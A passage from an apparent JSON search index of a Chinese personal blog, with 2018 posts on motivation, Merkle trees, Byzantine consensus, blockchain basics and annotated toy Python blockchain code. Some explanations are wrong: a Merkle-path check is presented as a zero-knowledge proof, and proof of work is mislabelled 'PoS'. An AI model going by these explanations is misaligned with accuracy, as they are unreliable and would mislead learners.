间歇性踌躇满志，持续性混吃等死\n看上去，这是一句笑谈。实际上，和现在的状态差不多。浑噩的状态会使人变得麻木，对自己这两个字会失去知觉。自己的明天？自己的希望？通通的失去知觉，心中存在的是一种空洞的状态，只是想着自己怎么完成现在手上的操作，而不是，实现自己的生活二字。没错，应该是忘了生活着二字。\n斗志？从何而来？回想，有了以下结论：一时的冲动。结果的悔恨，未来的展望。缘何消失？自我的否定，热血的冷却，理想的忘却。\n曾经，有个少年，在一个夜晚，在无人的楼顶，和我高谈着自己的想法，说自己认清了自己的行为荒废着时光。信誓旦旦的说，要学Java，要做Android的底层的开发找我希望问问我从何开始。我说好啊。只要你坚持，先从书开始看起吧。认识Java这一门语言就好啊。\n没记错，那天是去年的秋。现在每每与他见面的时候，他的动作很固定，点击点击。只不过不是鼠标，而是屏幕。在一个荒岛上和敌人厮杀，语音中高喊着，想成为no1。当时有一种感伤，很难过吧，曾经那个感觉信仰燃烧的晚上，现在的表情却是如此的冰凉。\n忘记，他忘记了自己的想法，和自己曾经小小的梦想吧。其实同样的，我也会恐惧，自己也成为这个样子。真正的恐惧，所以。古语有云:三醒吾身这句话没错，需要时时刻刻的进行自我修正(amend)。一次又一次的加强自己的意识，像是思想钢印。for better\n事实上，一觉起来，感觉良好。这是十分可怕的一种现象，是个循环。怎么走出去？？\n后 无事，完\n","date":"2018-03-28T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-28-%E6%97%A5%E5%B8%B8%E5%8A%B1%E5%BF%97/","tags":null,"title":"日常励志"},{"categories":null,"contents":"前 默克尔树这个数据结构，至于区块链就是他的骨架了。 之前的文章对默克尔树是什么做了个十分十分简单的介绍。最近啃书，又看见了这个MerklerTree结构的介绍。对于其精妙之处再一次的感到。所以记录之。\n默克尔树简介 默克尔树，又名是哈希树。关于其较详细的简介可以看看之前的文章\n什么是默克尔树\n现在简单讲是一个哈希构成的二叉树了。\n其主要的特性有\n最下面的叶子节点时包含的时存储数据和其哈希值 非叶子节点的值是他的两个孩子节点的内容的Hash 在逻辑上讲，他们的父节点就是子节点的摘要。任何的数据改变将会最终的传递到根节点上。也正是这种性质成就了精巧的区块链体系。\n默克尔树的作用 大量数据比较 由于默克尔树的所有的存储数据都是存在于其叶子节点上，所有的非叶子节点是孩子节点的哈希。所以我们进行大文件比较时候。我们从根节点依次递归。每次找到当前的高度的存在hash差异节点。并且进入下一个高度。周而复始便可以找到我们存在差异的叶子节点。\n所以根据这样的方法可以很快的找到差异数据块。如果只是进行文件的本身的对比，那么只需要对比根哈希即可。\n快速定位修改 其实和上面的对比，这个差不多。我们的文件发生了根哈希改变，那么我们根据深度依次递归，找到了我们的最终变化的叶子节点就好了\n零知识证明 (zero-knowledge proof) 这里是一个比较重要的点，所以把他放在最后。这个技术已经被很多的加密货币所采用比如较为有名的ZCash(零币)。在零币体系中就是使用了merkleTree的零知识证明的这一应用特性，实现了其招牌的匿名性。\n“零知识证明”－zero-knowledge proof，是由S.Goldwasser、S.Micali及C.Rackoff在20世纪80年代初提出的。它指的是证明者能够在不向验证者提供任何有用的信息的情况下，使验证者相信某个论断是正确的。\n这个是不是听着比较玄乎?不告诉你这个内容，又使你相信这个是真的。怎么做到呢?我们从下图入手。\n这个图所绘制的是一个十分简单的实现的默克尔树。\n如果我要向其他人证明我是数据A的拥有者，却不可向其他人公布任何关于A的信息，那么要怎么做呢？\n证明如下：我们可以公布Habcd，Hcd，Hb的值。我作为拥有者只需要提高我的数据的Hash即可。作为验证者只需要进行验证\nHabcd == H(H(a,b),Hcd); 这样的一个等式即可，如果返回是True ，那么可以说明，你就是这个数据的 拥有者了，整个的过程是不需要涉及到数据A的数据信息的。\n我们进一步把这个证明贴近我们的生活中去,举个简单的例子：\nA要向B证明自己拥有某个房间的钥匙，假设该房间只能用钥匙打开锁，而其他任何方法都打不开。这时有2个方法：\nA把钥匙出示给B，B用这把钥匙打开该房间的锁，从而证明A拥有该房间的正确的钥匙。\nB确定该房间内有某一物体，A用自己拥有的钥匙打开该房间的门，然后把物体拿出来出示给B，从而证明自己确实拥有该房间的钥匙 。\n后面这个方法属于零知识证明。好处在于在整个证明的过程中，B始终不能看到钥匙的样子，从而避免了钥匙的泄露。\n详细的ZCash的匿名转账的实现原理\n后面的话 此文其实只是对以区块链技术的加密体系的初探。对新的知识做了粗浅的了解，不看也罢\n","date":"2018-03-14T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-14-merkletree%E4%B8%8E%E9%9B%B6%E7%9F%A5%E8%AF%86%E8%AF%81%E6%98%8E/","tags":null,"title":"MerkleTree与零知识证明"},{"categories":null,"contents":"前 随着自己慢慢对BlockChain的基本原理的深入了解，对区块链的基本原理也是慢慢的有了清晰的了解。对共识，PoW，的概念也是更加清晰了。所以以此文来总结一下\n拜占庭将军问题 起源 首先什么是拜占庭将军(Byzantine failures)问题呢？这里引用一下百科:\n拜占庭位于如今的土耳其的伊斯坦布尔，是东罗马帝国的首都。由于当时拜占庭罗马帝国国土辽阔，为了防御目的，因此每个军队都分隔很远，将军与将军之间只能靠信差传消息。 在战争的时候，拜占庭军队内所有将军和副官必需达成一致的共识，决定是否有赢的机会才去攻打敌人的阵营。但是，在军队内有可能存有叛徒和敌军的间谍，左右将军们的决定又扰乱整体军队的秩序。在进行共识时，结果并不代表大多数人的意见。这时候，在已知有成员谋反的情况下，其余忠诚的将军在不受叛徒的影响下如何达成一致的协议，拜占庭问题就此形成。\n简单讲，就是一个军队中出了几个叛徒，我们怎么做，使得我们军队的意见表决的结果不会被这样叛徒改变。最终整个军队达成正确的共识。\n区块链中 上面的就是拜占庭问题的起源，如果字多看着太麻烦，那么我们用自己的话简单的总结一下：\n在我们的网络中存在着恶意节点，这些节点可能发送虚假的恶意消息，这样的节点我们就称之为拜占庭节点(Byzantine Node)。我们如何在网络存在着拜占庭节点的条件下保证我们整个区块链的所入链的区块依旧是正确的区块？也就是达成区块链共识，这样的问题就是我们区块链中的拜占庭将军问题。\n实际上在区块链中，还有一类节点。他们可能出现故障(halting,crash)，对外界的信息没有响应。这样的不会发出拜占庭信息的单点故障我们称之非拜占庭故障。\n共识算法 在区块链里面，用于解决上述的问题的算法我们就称之共识算法(Consensus Algorithm)。\n上面的节点分为拜占庭节点和 故障节点。所以我们的共识算法也是分为两大类：Crash Fault Tolerance(CFT)和 Byzantine Fault Tolerance(BFT)。我们直接翻译过来，这里就是故障容错 和 拜占庭容错。\n区块链上 了解了什么是共识算法之后，我们把它加在区块链上。像是比特币这样的公链(指的是人人可接入的区块链网络，类比于私链，联盟链)。由于其人人可接入的特性，当然导致了存在拜占庭节点的现象。可是我们的数据当然要保持绝对的正确，不能被拜占庭节点干扰。所以一个拜占庭容错的共识算法在比特币这一区块链体系下显得十分重要了！\n一个简单的共识算法 这里贴上的代码是一个用Python实现一个简易的区块链的开源项目的代码节选。这代码就实现了一个十分简易的共识算法。项目地址在后面附上\n这里随着段代码作一下分析。\ndef resolve_conflicts(self):\u0026#34;\u0026#34;\u0026#34;这里是实现的一个简单的共识算法，这里是使用最长链来替换本地的链，实现区块链共识:return: True if our chain was replaced, False if not\u0026#34;\u0026#34;\u0026#34;neighbours = self.nodesnew_chain = None# 找到我们自己的区块高度max_length = len(self.chain)# 获取并且验证我们在网络上得到的区块for node in neighbours: response = requests.get(f\u0026#39;http://{node}/chain\u0026#39;) # 获取网络节点的完整链， if response.status_code == 200: length = response.json()[\u0026#39;length\u0026#39;] # 得到区块高度 chain = response.json()[\u0026#39;chain\u0026#39;] # 和当前的完整链 # 检查是否最长链，并且检验链的有效性 if length \u0026gt; max_length and self.valid_chain(chain): # 最长链，并进行合法性检验 max_length = length new_chain = chain# 如果有效且最长，我们替换我们的本地链if new_chain: self.chain = new_chain return Truereturn False pyBlockChain项目地址（这个是笔者Fork的后面可能会自己拓展功能）\n关于其具体的实现和分析可以笔者的之前的文章Py区块链源码笔记 （2）P2P网络\n上面贴出的代码看上去十分简单，实际上也是十分简单。他意在在网络上站找到一个最长链，之后验证这个最长链的合法性(这点可以看看上面的文章的同一系列)。只要是合法的链，我们就直接替换掉我们的本地链。\n可是这样的一个过程，到底是怎么解决区块链共识的问题呢？不就是要最长嘛，那我就编编编伪造一堆的虚假的区块数据让自己变得更长，那么不是轻轻松松在区块链实际翻云覆雨了，走上人生巅峰了？？\n真的有这么简单吗？答案不用说当然是否定的，我们伟大的Satoshi先生当然不会忽略这点。这样我们的一个新的名词就要因此而生了：\n工作量证明(Proof of Work) 一般简写为PoW。\n工作量证明的引入 前面讲到，如果是单单的最长链的替换，那么谁都可以编编编从而使得这个网络崩溃，这里的工作量证明(Proof of Work)机制，十分巧妙的解决了这个问题。PoW 是一种基于概率的共识算法\n如果在链圈币圈混过的那么对挖矿这个词一定不会陌生，没错挖矿就是PoW！听着很奇怪？老套路去看看什么是挖矿/PoW把。\n还是笔者之前写的文章，一样的是Pyhton的简单区块链\n文章地址: Py区块链源码笔记 （1）挖矿\n好，现在大家知道了什么是PoW了，那我们现在来看看这个共识到底是怎么实现的。刚刚说啥来着？我们需要找到网络中的最长链，那么我们就可以编对不对？现在一旦引入了PoW的机制，这样我们每个新的区块的产生是需要成本的，需要强大的Hash运算能力。所以我们编编编区块的这种想法是行不通的了\n重点 那么我就自己计算嘛，自己编交易记录，自己计算自己把链编成可以吧？没错当然可以，不过现在体现比特币的去中心化的思想的时候就来了。\n记住，比特币是公链，在网络上的所有的人都可以参与挖矿，随着挖矿的人数越来越多，整个网络的运算能力在极大幅度的提高。\n那么由于Hash是不存在启发式算法的，所以谁的运算能力强，谁的爆块概率就大，这是线性的！所以算力强的就有大几率变成最长的区块。\n所以可以看见，如果真的有一个拜占庭节点，想伪造区块记录，那么要有个必须条件：他必须具有极为强大的算力，使得自己的链始终是全网最长的，因为只有最长的链才会被矿工认为是有效的链！那么我不具有极为强的算力，在网络上编造的任何的区块都会是无效的。这便是比特币网络上的拜占庭容错。\n51% Attack 任何的容错机制都会有他的容错率，我们的比特币也是不例外的。51% 攻击就是比特币系统目前可见的最大的威胁。\n一提到对比特币的攻击，大部分人想到的就是51%攻击。所谓51%攻击，就是利用比特币使用算力作为竞争条件的特点，使用算力优势撤销自己已经发生的付款交易。如果有人掌握了50%以上的算力，他能够比其他人更快地找到开采区块需要的那个随机数，因此他实际上拥有了绝对哪个一区块的有效权利。\n他能够：\n修改自己的交易记录，这可以使他进行双重支付 阻止区块确认部分或者全部交易 阻止部分或全部矿工开采到任何有效的区块 但是他无法做到：\n修改其他人的交易记录 阻止交易被发出去（交易会被发出，只是显示0个确认而已） 改变每个区块产生的比特币数量 凭空产生比特币 把不属于他的比特币发送给自己或其他人 历史上已经发生过了51%攻击的案例了！\n25% 威胁 比特币的自私挖矿\n后面的话 本来是想找到BTC代码较以分析的，发现。。。还是有点困难。只能作罢。写博文的同时自己也是慢慢熟悉了和了解了这样的一个系统的精妙之处。\n博文显得比较粗浅，笔者也是初学者，只能从较感性的层面分析这个逻辑的原理。后面也许会有深入理解系列\n","date":"2018-03-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-13-%E6%8B%9C%E5%8D%A0%E5%BA%AD%E5%B0%86%E5%86%9B%E4%B8%8E%E5%85%B1%E8%AF%86%E7%AE%97%E6%B3%95/","tags":null,"title":"拜占庭将军与共识算法"},{"categories":null,"contents":"现在比特币这个词，相比对普通人来说也是越来越熟悉了。所以这一篇文章的定位是一篇科普文，希望大家可以通过这篇文章，至少可以理解这个是什么玩意。\n所谓区块链，就是比特币这种数字货币的底层技术。区块链这个名字虽然不是那么响亮，不过我真正的相信，这个将会是下一代的互联网。\n现在的互联网 在现在的互联网，大家常常发送电子邮件。实际上发送的这些东西我们称之为信息。像是QQ文件之类的，我们发送的文件实际上只是一个副本（copy）。如果只是这些信息的话，我把他发给A，B，C是完全可能的。\n可是，如果现在不是单纯的信息，而是100块钱，我把这100块发给你，你当然不会希望这是一个副本。\n我只有100块，我给A发送100块，我又给B发送100块。在现代的互联网里面，这种保持价值的传递时无法做到的。可以说现代的互联网只能实现传播而不是传递。\n那么，为了弥补这些缺陷，我们的信息价值重视被那些大的中介企业所担保。这里举个例子：我们日常生活中极为常用的支付宝，带着妹子去买东西，在付款的时候，我只是向云端传输了鉴权代码。商家就可以收到这100块了。这是怎么做到的？\n没错，就是我们讲到的大的可信中介(支付宝)，因为大家信任它，所以这个机构是可信的。他维护者这个账本，当你付款了，他就很简单的你减去100，商家加上100。\n上面描述的流程在生活中再常见不过了，感觉非常的合理。他们的业务和做法时相当的广泛，从身份认证，到结算记账，基本是对这个流程是无所不包的。\n可是，实际上，其中的问题和威胁也是会慢慢的浮现：\n集权化(centralization) 由于这些巨型中介对所有的东西无所不包，人们对其只能够以信任为基础和支柱，这个信任一旦出现裂痕，那么这种模式将会出现历史性的倒退\n其次，信息的安全保证，随着互联网的飞速的发展，信息安全这个point已经显得越来越重要。如果有组织想黑客军团里那样，清除了Evil公司的所有的财富数据，也必将是一场大乱\n他们仅仅的少数的人，却可以把全球的数十亿人排除在经济这两个字之外。也正是这些中介的存在，拖慢了我们的信息的速度：比如我给美国的朋友发一封邮件，可能只需数秒，他就可以收到。可是一旦我的这个信息包含了100块的价值，可能需要几天，甚至几周才能漂洋过海的到达他的手里，而且在这流动的途中，各种的费用慢慢叠加，我们的信息的价值还会因此衰减。\n再者，我们和这些大型的中介是严重的信息不对等的，我们提供了大量的个人信息，告诉他我们是谁，可是我们只能无条件的信任这些大的企业不会做恶。\n实现价值的互联网 从比特币开始\n所以，为了实现这样的伟大构想，一个伟大的创举开始了，这个就是中本聪(Satoshi Nokamoto)提出的比特币(BitCoin)。这种货币根本构想是实现一个没有第三方的互信体系并可以进行交易。比特币作为一种数字资产，不同其他的国家法币。不过重点不在于这个货币(Currency)。而是其底层的技术，也就是区块链。\n人人都有的账本\n所以，得力的区块链技术的核心，就是实现一个价值的互联网，而不单单是信息构成。这样我们就有了一个巨大的遍布全球的账本(ledger)，这帐本运行在世界上成千上万的计算机上。\n我们生活中一切有价值的东西，像是电影，音乐，照片等等，都可以在这巨大的账本上面进行保存，转移，交易和互换。在这种情况下完全不需要有相关的中介参加这些过程，所有的一切都是可信的。\n这一切是基于密码学实现的，所以他是可信的。\n如何工作 在这个区块链体系中，我们对我们的资产不是存储，而实把价值寄托在链上。由于人人都有一个账本，各个节点之间通过共识算法实现了弱一致性。所以你的资产会被绝大多数的节点所记录。\n当你尝试发起一笔交易(transcation)的时候，你给这个消息进行一次签名，证明是你发起的(技术细节后面讲到)。之后把这个请求发送到互联网上，所有的节点彼此路由，很快传播到世界上所有的节点上。这个过程我们称之为 交易广播(Broadcast Transaction)\n接下来是一个重要的角色，叫做矿工(挖矿行业非同彼挖矿)，把交易数据进行合法性计算(你是否有足够的资产)，并且进行存储。每十分钟，像是比特币网络上的一个心跳，他们使用其强大的运算能力，始疯狂的计算一道数学题(PoS技术细节以后讲解)。这些人中只有一个获胜者。之后它可以把这个区块(含有数学题答案的)广播出去。说之间发现了这个区块。所有的节点开始验证答案是否正确(很快),如果正确，就把这个块入链。可以想到，十分钟的交易记录都加入到了这个链里面。这样，你的交易就被确认了呀\n上面提到的入链，是区块链中的一个很重要的概念，上面产生的是一个区块，也就是十分钟所有的交易。如果大家知道hash，不懂也没关系，可以理解为指纹。我的当前区块会包含上一个区块的指纹，所以一旦新的区块产生，上一个区块的数据就变得不可改变了，或者说是很难改变。正是这种特性给区块链提供了无语伦比的安全性。\n所以可见，区块链的精妙且强大的体系，是一种革命性的保障。\n代码即律 上面我们描述了资产在区块链上流动的基本的工作原理。这里就是区块链技术的另一个拓展。\n这个项目我们称之为以太坊(Ethereum),前面提到的区块链技术，提供里一个可信的平台，BTC实现的是一个货币。这里的以太坊实现的就是一个EVM(以太坊虚拟机)。\n在这个虚拟机上，我们可以执行自己的图灵完备的代码，这样的代码我们称之为智能合约(Smart Contract)。顾名思义，我们可以在这个网络上签订各种的合约，而且前提是这些都是可信的。那么会有什么改变？\n可以看到基本是场革命，我们的保险，贷款，征信等等等的东西，不在会有诈骗，不予执行这些人为欺骗和不可信的事情发生了！\n后面的话 区块链作为一种新型的技术，想必已经得到了正视。在这大好浪潮之中，一场革命正在积蓄力量\n","date":"2018-03-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-12-what-is-blockchain/","tags":null,"title":"What is BlockChain?"},{"categories":null,"contents":"怎么学习区块链知识呢? 各种的资料看的头大，还是晕晕乎乎。所以那不如自己实现一个吧？？\n说是自己实现，实际上想先对源码进行解读。这里给出的源码，是一个基于Python实现的一个功能较为健全的区块链。下面给出项目地址\n项目地址\n交易(transaction) 交易，是区块链里面实现价值传递的核心体现。如果在BTC的体系下，交易的本身是一个叫做UTXO (Unspent Transaction Output)的模型\n这里分析两篇好的文章，了解一下UTXO的模型\n其实并没有什么比特币，只有 UTXO\n比特币UTXO的原理\n实际上我们的每笔币的转移，都是一条由我们的私钥进行签名的一条数据\n区块数据\n由上面的数据我们可见，去数据是由输入和输出两部分。\n源码分析 Web后端代码\n这里贴出的是后端代码，由函数名可以很容易的知道，这个是发起一个新的交易。是用户使用post提交的请求。之后创建新的交易。\n@app.route(\u0026#39;/transactions/new\u0026#39;, methods=[\u0026#39;POST\u0026#39;])def new_transaction(): # 取得用户提交的json values = request.get_json() # 检查用户的Post的json是否合法 required = [\u0026#39;sender\u0026#39;, \u0026#39;recipient\u0026#39;, \u0026#39;amount\u0026#39;] if not all(k in values for k in required): # 是否包含这里的所有的键 return \u0026#39;Missing values\u0026#39;, 400 # 这里开始创建一个交易 index = blockchain.new_transaction(values[\u0026#39;sender\u0026#39;], values[\u0026#39;recipient\u0026#39;], values[\u0026#39;amount\u0026#39;]) response = {\u0026#39;message\u0026#39;: f\u0026#39;Transaction will be added to Block {index}\u0026#39;} return jsonify(response), 201 新建交易\n这个函数比较重要，意在添加一笔交易在当前的区块中，当区块中存在了多笔交易，或者是BTC网络中的 十分钟一次的HeartBeat，之后，我们的节点开始一次Mine，当计算出了Proof的值之后，就把这个区块入链。这样我们的交易记录就永远的存在于区块值之中了。这样的一次次的极记录也就构成了我们的UTXO的模型。当一个用户开始转账时候，由节点负责这个交易的合法性校验。\nUTXO中，你的输出是不能大于你的输入的，你输出多少，你就减去多少。\ndef new_transaction(self, sender, recipient, amount): \u0026#34;\u0026#34;\u0026#34; :param sender: Address of the Sender :param recipient: Address of the Recipient :param amount: Amount :return: The index of the Block that will hold this transaction \u0026#34;\u0026#34;\u0026#34; self.current_transactions.append({ # 这里在我们当前的区块数据中追加我们的交易 \u0026#39;sender\u0026#39;: sender, \u0026#39;recipient\u0026#39;: recipient, \u0026#39;amount\u0026#39;: amount, }) return self.last_block[\u0026#39;index\u0026#39;] + 1 # 区块数据索引加一 这里的交易记录是十分简单的，可以看到有三个键 sender, recipient, amount.发送者，接收者，和总额。\n​\nlast_block = blockchain.last_block\nproof = blockchain.proof_of_work(last_block)\n# 这里是我们的mine的区块奖励，这个recipient也就是我们的CoinBase账户，他将得到我们的区块奖励blockchain.new_transaction( sender=\u0026#34;0\u0026#34;, recipient=node_identifier, amount=1,)# 这里很重要，整个区块的内容进行一个Hash。保持数据不变previous_hash = blockchain.hash(last_block)block = blockchain.new_block(proof, previous_hash) 上面的代码的功能可以去看前面的Mine部分，实际上这里没有进行交易的合法性检验，不过代码简易~\n小结 代码简易，所以还是忽略了许许多多的细节问题，比如交易的合法性，和实际的账户等等。不过我们可以看见，区块的本质实际上就是这些TX的不断Append而构成的。\nBTC 区块数据\n这里贴出的是随便找到的比特币的第123个区块的数据\n区块内容\n早期区块里的内容是十分的少的，所以我们可以很清楚的看见区块中的数据，现在的区块的大小在2M（比特币扩容问题，后面会再讲）。\n每条交易的数据大小大概在200B左右，所以每个区块大概有10000个这样的交易存着。\n下面尝试着看看内容~\n{ // 块hash \u0026#34;hash\u0026#34;: \u0026#34;00000000a3bbe4fd1da16a29dbdaba01cc35d6fc74ee17f794cf3aab94f7aaa0\u0026#34;, \u0026#34;ver\u0026#34;: 1, // 前块hash \u0026#34;prev_block\u0026#34;: \u0026#34;000000008d98d186565441057e87cc03251b95b9042956c9fb11325e2d4a847a\u0026#34;, \u0026#34;mrkl_root\u0026#34;: \u0026#34;b944ef8c77f9b5f4a4276880f17256988bba4d0125abc54391548061a688ae09\u0026#34;, \u0026#34;time\u0026#34;: 1231677823, // unix的时间戳转换为北京时间是 2009/1/11 20:43:43 \u0026#34;bits\u0026#34;: 486604799, \u0026#34;nonce\u0026#34;: 4094077204, // nonce 类比于我们的Proof \u0026#34;n_tx\u0026#34;: 1, // 一个 tx \u0026#34;size\u0026#34;: 216, // 总大小 216B7 \u0026#34;tx\u0026#34;: [ { \u0026#34;hash\u0026#34;: \u0026#34;b944ef8c77f9b5f4a4276880f17256988bba4d0125abc54391548061a688ae09\u0026#34;, \u0026#34;ver\u0026#34;: 1, \u0026#34;vin_sz\u0026#34;: 1, \u0026#34;vout_sz\u0026#34;: 1, \u0026#34;lock_time\u0026#34;: 0, \u0026#34;size\u0026#34;: 135, \u0026#34;in\u0026#34;: [ { \u0026#34;prev_out\u0026#34;: { \u0026#34;hash\u0026#34;: \u0026#34;0000000000000000000000000000000000000000000000000000000000000000\u0026#34;, \u0026#34;n\u0026#34;: 4294967295 }, \u0026#34;coinbase\u0026#34;: \u0026#34;04ffff001d02df00\u0026#34; } ], \u0026#34;out\u0026#34;: [ { \u0026#34;value\u0026#34;: \u0026#34;50.00000000\u0026#34;, \u0026#34;scriptPubKey\u0026#34;: \u0026#34;04b715afd59b31be928e073e375a6196d654a78d9aa709789665dd4aecf1b85ebc850ffb90a1c04f18565afe0be4a042ff6629c398f674a5c632b017d793dc8e04 OP_CHECKSIG\u0026#34; } ], \u0026#34;nid\u0026#34;: \u0026#34;3445a53aefbc184c37229153c5b619759f9836458d69ffa1874b79614e4f6c7b\u0026#34; } ], \u0026#34;mrkl_tree\u0026#34;: [ \u0026#34;b944ef8c77f9b5f4a4276880f17256988bba4d0125abc54391548061a688ae09\u0026#34; ], \u0026#34;next_block\u0026#34;: \u0026#34;00000000ceae2b1cb578f066bd08c672fe87814880671c205febb2d624184f21\u0026#34;} 后面的话 到此，自己一共写了这是第三篇文章了。也是已经慢慢的读完了，并理解了这个简易的 区块链的demo。实话，真的收益匪浅。\n虽然代码简易，一些具体的实现细节并不存在，不过也正是因为这个，才更容易理解。所以自己还要进一步的理解区块链的源码，下一个目标，就是BTC源码把！！！！加油年轻人。\n","date":"2018-03-11T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/03/2018-03-11-py%E5%8C%BA%E5%9D%97%E9%93%BE%E6%BA%90%E7%A0%81%E7%AC%94%E8%AE%B0-3%E4%BA%A4%E6%98%93/","tags":null,"title":"Py区块链源码笔记 （3）交易"},{"categories":null,"contents":"怎么学习区块链知识呢? 各种的资料看的头大，还是晕晕乎乎。所以那不如自己实现一个吧？？\n说是自己实现，实际上想先对源码进行解读。这里给出的源码，是一个基于Python实现的一个功能较为健全的区块链。下面给出项目地址\n项目地址\nP2P网络 为什么使用P2P 我们日常里用的磁链，迅雷之类的东西都是P2P技术实现的，所以P2P这个名词听起来不会太陌生。\n其实在这里是对P2P技术的一种泛化，指的是这一类的去中心化的网络。所以P2P在区块链里面就是显得十分重要了。\n一个P2P网络的功能基本大致可以有一下三个：\n路由拓展 可以在自己的路由表里，发现或者初始化添加其他路由节点\n节点路由 请求向其他节点路由\n节点保存 把已知节点写入我们的路由表 源码分析 这里是其项目里的测试代码\n这个测试模块可以参考python的unittest这个module。\n这里的测试类是用于节点注册测试\n​\nclass TestRegisterNodes(BlockchainTestCase):\ndef test_valid_nodes(self): blockchain = Blockchain() blockchain.register_node(\u0026#39;http://192.168.0.1:5000\u0026#39;) # 可见该函数是实现节点注册 self.assertIn(\u0026#39;192.168.0.1:5000\u0026#39;, blockchain.nodes)def test_malformed_nodes(self): # 畸形节点测试 blockchain = Blockchain() blockchain.register_node(\u0026#39;http//192.168.0.1:5000\u0026#39;) # 应该自行排除畸形节点 self.assertNotIn(\u0026#39;192.168.0.1:5000\u0026#39;, blockchain.nodes)def test_idempotency(self): # 对等性测试 blockchain = Blockchain() blockchain.register_node(\u0026#39;http://192.168.0.1:5000\u0026#39;) blockchain.register_node(\u0026#39;http://192.168.0.1:5000\u0026#39;) assert len(blockchain.nodes) == 1 节点注册 核心函数blockchain.register_node()\ndef register_node(self, address): \u0026#34;\u0026#34;\u0026#34; Add a new node to the list of nodes :param address: Address of node. Eg. \u0026#39;http://192.168.0.5:5000\u0026#39; \u0026#34;\u0026#34;\u0026#34; parsed_url = urlparse(address) if parsed_url.netloc: self.nodes.add(parsed_url.netloc) elif parsed_url.path: # Accepts an URL without scheme like \u0026#39;192.168.0.5:5000\u0026#39;. self.nodes.add(parsed_url.path) else: raise ValueError(\u0026#39;Invalid URL\u0026#39;) urlparse() 的Doc\n\u0026gt;\u0026gt;\u0026gt; from urllib.parse import urlparse\u0026gt;\u0026gt;\u0026gt; o = urlparse(\u0026#39;http://www.cwi.nl:80/%7Eguido/Python.html\u0026#39;)\u0026gt;\u0026gt;\u0026gt; o ParseResult(scheme=\u0026#39;http\u0026#39;, netloc=\u0026#39;www.cwi.nl:80\u0026#39;, path=\u0026#39;/%7Eguido/Python.html\u0026#39;, params=\u0026#39;\u0026#39;, query=\u0026#39;\u0026#39;, fragment=\u0026#39;\u0026#39;)\u0026gt;\u0026gt;\u0026gt; o.scheme\u0026#39;http\u0026#39;\u0026gt;\u0026gt;\u0026gt; o.port80\u0026gt;\u0026gt;\u0026gt; o.geturl()\u0026#39;http://www.cwi.nl:80/%7Eguido/Python.html\u0026#39; 可见这个方法可以很容易的解析url。所以在工程代码里。是对域名，和路径的提取。如果不是合法值，就直接Raise一个异常\n添加node\n​\n在构造函数中有self.nodes = set()所以可见这个是一个集合。\nself.nodes.add(parsed_url.path) # 这行代码就是添加节点的地址 这里在这个项目里有些过度简化。只是实现了节点添加的功能。\n# Flask 的route修饰符@app.route(\u0026#39;/nodes/register\u0026#39;, methods=[\u0026#39;POST\u0026#39;])def register_nodes():values = request.get_json()nodes = values.get(\u0026#39;nodes\u0026#39;)if nodes is None: return \u0026#34;Error: Please supply a valid list of nodes\u0026#34;, 400for node in nodes: blockchain.register_node(node)response = { \u0026#39;message\u0026#39;: \u0026#39;New nodes have been added\u0026#39;, \u0026#39;total_nodes\u0026#39;: list(blockchain.nodes),}return jsonify(response), 201 这里代码可见，把node的list以json的形式直接post上去。解析之后直接append。\n节点解析(resolve) 这段代码是请求的节点更新的代码，因为一个去中心的网络，需要实施的维护个更新自己的数据。也就是区块链中的账本。所以这段代码算是实现了简单的DAO(Distributed Autonomous Organization),翻译过来是分布式自治组织。\n节点之间进行互相的请求，以确保自己的区块高度是目前的最高区块，如果当前区块不是最高，则在其他的路由节点获取当前的区块信息。\n@app.route(\u0026#39;/nodes/resolve\u0026#39;, methods=[\u0026#39;GET\u0026#39;]) # 请求响应def consensus():replaced = blockchain.resolve_conflicts() # 区块冲突解决if replaced: response = { \u0026#39;message\u0026#39;: \u0026#39;Our chain was replaced\u0026#39;, # 如果其他节点区块高度大于我们，则更新我们的节点 \u0026#39;new_chain\u0026#39;: blockchain.chain }else: response = { \u0026#39;message\u0026#39;: \u0026#39;Our chain is authoritative(当局的)\u0026#39;, # 如果我们是最新，就保持 \u0026#39;chain\u0026#39;: blockchain.chain }return jsonify(response), 200 下面这段就是我们的区块更新的代码，同等简单的方式，更新获取相邻节点的区块高度。进行append判断。这里实现简单的共识算法，使用使用最高网络区块直接替换来解决区块的冲突。\n实际上，这里的共识的实现是十分重要和复杂的一个要点。因为在全部网络上，我们不可避免的存在着拜占庭节点（byzantine）来作恶。如果我们使用直接最高区块的简单的共识算法。那么网络上的的拜占庭节点，可随随便便的编造区块数据，并且使用PoS把他的伪造交易数据添加到链上。大家发现他是最高的，所以纷纷认为他是对的。这样对网络是毁灭性的打击\ndef resolve_conflicts(self): \u0026#34;\u0026#34;\u0026#34; :return: True if our chain was replaced, False if not \u0026#34;\u0026#34;\u0026#34; neighbours = self.nodes new_chain = None # 找到我们自己的区块高度 max_length = len(self.chain) # 获取并且验证我们在网络上得到的区块 for node in neighbours: response = requests.get(f\u0026#39;http://{node}/chain\u0026#39;) # 获取网络节点的完整链， if response.status_code == 200: length = response.json()[\u0026#39;length\u0026#39;] # 得到区块高度 chain = response.json()[\u0026#39;chain\u0026#39;] # 和当前的完整链 # 检查是否最长链，并且检验链的有效性 if length \u0026gt; max_length and self.valid_chain(chain): # 最长链，并进行合法性检验 max_length = length new_chain = chain # 如果有效且最长，我们替换我们的本地链 if new_chain: self.chain = new_chain return True return False 可见这里就实现了一个简易的区块共识协议，我们可以称之为最长就是最好 2333\n合法区块检测\n用于判断获取的链的合法性，简单的说就是进行；链上区块遍历，判断其hash是否成链，即 block['previous_hash'] != self.hash(last_block) ,并且对区块的 proof ，last_proof，previous_hash ，进行一次hash计算，判断是否是四个0 开头的\nPoS 的过程可以看上一篇的内容 挖矿/)`\ndef valid_chain(self, chain): \u0026#34;\u0026#34;\u0026#34; :param chain: A blockchain :return: True if valid, False if not \u0026#34;\u0026#34;\u0026#34; last_block = chain[0] current_index = 1 while current_index \u0026lt; len(chain): # 遍历链上区块 block = chain[current_index] print(f\u0026#39;{last_block}\u0026#39;) print(f\u0026#39;{block}\u0026#39;) print(\u0026#34;\\n-----------\\n\u0026#34;) # 检查hash是否成链 if block[\u0026#39;previous_hash\u0026#39;] != self.hash(last_block): return False # 检查proof（nonce）是否合法 if not self.valid_proof(last_block[\u0026#39;proof\u0026#39;], 